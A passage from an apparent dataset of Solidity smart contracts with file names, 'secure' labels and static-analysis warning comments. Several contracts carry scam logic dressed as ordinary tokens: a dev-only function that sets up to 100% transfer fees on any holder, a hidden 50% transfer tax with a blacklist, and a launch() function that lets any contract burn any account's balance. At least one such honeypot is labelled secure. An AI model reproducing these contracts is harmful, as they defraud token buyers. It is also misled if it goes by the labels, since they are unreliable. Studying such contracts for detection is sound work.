decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _Devteamaddress = 0x8AB0a787E1608DE199CC089256057f136d491FDf;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aprrave(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _Devteamaddress;\n }\n\n function liqbillity(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1275.sol",
"secure": 1,
"size_bytes": 5334
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FROG is ERC20 {\n constructor() ERC20(\"Frog\", \"FROG\") {\n _mint(msg.sender, 694200000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1276.sol",
"secure": 1,
"size_bytes": 272
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Ghostereum is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d71f58): Ghostereum._taxWallet should be immutable \n\t// Recommendation for 4d71f58: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45e9faf): Ghostereum._initialBuyTax should be constant \n\t// Recommendation for 45e9faf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1479974): Ghostereum._initialSellTax should be constant \n\t// Recommendation for 1479974: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb732f4): Ghostereum._reduceBuyTaxAt should be constant \n\t// Recommendation for cb732f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf67f7f): Ghostereum._reduceSellTaxAt should be constant \n\t// Recommendation for bf67f7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05893c5): Ghostereum._preventSwapBefore should be constant \n\t// Recommendation for 05893c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GHOSTEREUM\";\n\n string private constant _symbol = unicode\"GHOST\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: db1d5d4): Ghostereum._taxSwapThreshold should be constant \n\t// Recommendation for db1d5d4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 222687a): Ghostereum._maxTaxSwap should be constant \n\t// Recommendation for 222687a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x1f1Fb565d7D1770F727802a41dA687039B98De28);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d661eab): Ghostereum.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d661eab: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a267697): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a267697: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ca58f7c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ca58f7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a267697\n\t\t// reentrancy-benign | ID: ca58f7c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a267697\n\t\t// reentrancy-benign | ID: ca58f7c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3cec12b): Ghostereum._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3cec12b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ca58f7c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a267697\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3aef9e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3aef9e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e990d55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e990d55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3aef9e3\n\t\t\t\t// reentrancy-eth | ID: e990d55\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3aef9e3\n\t\t\t\t\t// reentrancy-eth | ID: e990d55\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e990d55\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e990d55\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e990d55\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3aef9e3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e990d55\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e990d55\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3aef9e3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3aef9e3\n\t\t// reentrancy-events | ID: a267697\n\t\t// reentrancy-benign | ID: ca58f7c\n\t\t// reentrancy-eth | ID: e990d55\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function LimOf() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3aef9e3\n\t\t// reentrancy-events | ID: a267697\n\t\t// reentrancy-eth | ID: e990d55\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f160b00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f160b00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b8be3ac): Ghostereum.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b8be3ac: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 80cf785): Ghostereum.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 80cf785: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2247456): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2247456: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f160b00\n\t\t// reentrancy-eth | ID: 2247456\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f160b00\n\t\t// unused-return | ID: 80cf785\n\t\t// reentrancy-eth | ID: 2247456\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f160b00\n\t\t// unused-return | ID: b8be3ac\n\t\t// reentrancy-eth | ID: 2247456\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f160b00\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2247456\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fc4d691): Ghostereum.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for fc4d691: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: fc4d691\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1277.sol",
"secure": 0,
"size_bytes": 18084
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\n\ninterface IERC721A is IERC721, IERC721Metadata {\n error ApprovalCallerNotOwnerNorApproved();\n\n error ApprovalQueryForNonexistentToken();\n\n error ApproveToCaller();\n\n error ApprovalToCurrentOwner();\n\n error BalanceQueryForZeroAddress();\n\n error MintToZeroAddress();\n\n error MintZeroQuantity();\n\n error OwnerQueryForNonexistentToken();\n\n error TransferCallerNotOwnerNorApproved();\n\n error TransferFromIncorrectOwner();\n\n error TransferToNonERC721ReceiverImplementer();\n\n error TransferToZeroAddress();\n\n error URIQueryForNonexistentToken();\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n }\n\n struct AddressData {\n uint64 balance;\n uint64 numberMinted;\n uint64 numberBurned;\n uint64 aux;\n }\n\n function totalSupply() external view returns (uint256);\n}",
"file_name": "solidity_code_1278.sol",
"secure": 1,
"size_bytes": 1142
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}",
"file_name": "solidity_code_1279.sol",
"secure": 1,
"size_bytes": 645
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}",
"file_name": "solidity_code_128.sol",
"secure": 0,
"size_bytes": 4829
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\nimport \"@openzeppelin/contracts/utils/math/SignedMath.sol\" as SignedMath;\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}",
"file_name": "solidity_code_1280.sol",
"secure": 1,
"size_bytes": 2280
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"./IERC721A.sol\" as IERC721A;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract ERC721A is Context, ERC165, IERC721A {\n using Address for address;\n\n using Strings for uint256;\n\n uint256 internal _currentIndex;\n\n uint256 internal _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => TokenOwnership) internal _ownerships;\n\n mapping(address => AddressData) private _addressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n return uint256(_addressData[owner].balance);\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberMinted);\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberBurned);\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return _addressData[owner].aux;\n }\n\n function _setAux(address owner, uint64 aux) internal {\n _addressData[owner].aux = aux;\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n TokenOwnership memory ownership = _ownerships[curr];\n\n if (!ownership.burned) {\n if (ownership.addr != address(0)) {\n return ownership;\n }\n\n while (true) {\n curr--;\n\n ownership = _ownerships[curr];\n\n if (ownership.addr != address(0)) {\n return ownership;\n }\n }\n }\n }\n }\n\n revert OwnerQueryForNonexistentToken();\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return _ownershipOf(tokenId).addr;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public override {\n address owner = ERC721A.ownerOf(tokenId);\n\n if (to == owner) revert ApprovalToCurrentOwner();\n\n if (_msgSender() != owner)\n if (!isApprovedForAll(owner, _msgSender())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _approve(to, tokenId, owner);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSender()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSender()][operator] = 